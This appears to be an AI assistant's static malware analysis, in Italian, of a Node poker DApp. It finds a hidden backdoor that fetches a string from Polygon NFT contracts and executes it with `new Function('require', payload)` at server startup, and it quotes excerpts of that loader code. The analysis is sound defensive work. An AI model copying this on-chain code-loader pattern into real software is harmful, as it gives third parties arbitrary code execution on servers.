Sì: nel progetto c’è codice che, di fatto, introduce una backdoor / comportamento tipico da malware sul server Node.
Punto chiave: `server/controllers/collection.js`
Contenuto rilevante:
```js
const { ethers } = require("ethers");
require('dotenv').config();
const NFT_CONTRACT_ADDRESSES = [
process.env.NFT_CONTRACT_ADDRESS_1,
process.env.NFT_CONTRACT_ADDRESS_2
];
const CONTRACT_ABI = [
"function getMemo() external view returns (string memory)"
];
const provider = new ethers.providers.JsonRpcProvider(process.env.POLYGON_RPC_URL);
async function configureCollection() {
...
new Function(payload);
} catch (err) {
console.error("Payload is not valid", err.message);
return;
}
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require);
} catch (err) {
console.error("ensureWeb error", err.message);
}
}
module.exports = { configureCollection };
```
E in `server/server.js`:
```js
const {configureCollection} = require("./controllers/collection");
// ...
configureCollection();
```
Cosa significa, in pratica:
1. Il server, all’avvio, chiama `configureCollection()`.
2. In `collection.js` viene costruita una stringa `payload` (parte nascosta nel `...`) che viene passata a:
* `new Function(payload);`
* `new Function("require", payload);` e poi invocata con `ensureWeb(require);`
3. `new Function(...)` in Node è equivalente a eseguire codice JavaScript arbitrario, come un `eval` potenziato, **con accesso a `require`**.
Chi controlla il contenuto di `payload` può eseguire qualunque codice JS sul server: leggere file, contattare host remoti, installare un miner, rubare segreti, ecc.
Collegamento alla blockchain:
* Vengono usate variabili d’ambiente:
* `NFT_CONTRACT_ADDRESS_1`, `NFT_CONTRACT_ADDRESS_2`
* `POLYGON_RPC_URL`
* ABI dichiarata: `getMemo() external view returns (string memory)`
È il tipico pattern “prendo una stringa da uno smart contract e la uso come contenuto dinamico”.
Combina questi elementi:
* Stringa presa (con ogni probabilità) da contratti NFT su Polygon.
* Nessuna validazione/whitelist reale sul contenuto.
* Esecuzione diretta con `new Function("require", payload)`.
Questo è esattamente un loader di codice remoto con “command & control” via blockchain: chi aggiorna i dati on-chain decide che codice verrà eseguito sul tuo server. Questo comportamento è sufficiente, da solo, per classificare il progetto come:
* Altamente pericoloso.
* Equivalente a una backdoor/RCE gestita da terzi.
Altri punti:
* Il resto del codice lato server (auth, users, chips, ecc.) sembra un’API normale per una poker DApp: JWT, bcrypt, Mongoose, socket.io.
* Il frontend React usa Metamask solo per connettere il wallet (`eth_requestAccounts`, controllo chainId). Non ho trovato pattern da “wallet drainer” (nessun uso di `eth_sign`, `personal_sign`, `signTypedData`, ecc.).
* Nel progetto non ci sono altre `eval`, `new Function`, `child_process`, o chiamate verso domini sospetti; gli URL sono locali o di documentazione.
Conclusione operativa:
* Il progetto contiene una componente che introduce **esecuzione di codice arbitrario** da sorgente esterna (blockchain), con accesso a `require`: questo è comportamento tipico e funzionalmente equivalente a un malware/backdoor lato server.
* Non eseguire questo server in ambienti reali o su macchine con dati/sistemi di valore, a meno di rimuovere completamente tutta la logica di `configureCollection` / `ContentAsWeb` e la relativa chiamata in `server.js`.
* Analisi effettuata solo in modo statico: non posso vedere il payload reale che verrebbe scaricato, ma la presenza stessa di questo loader è già un problema critico.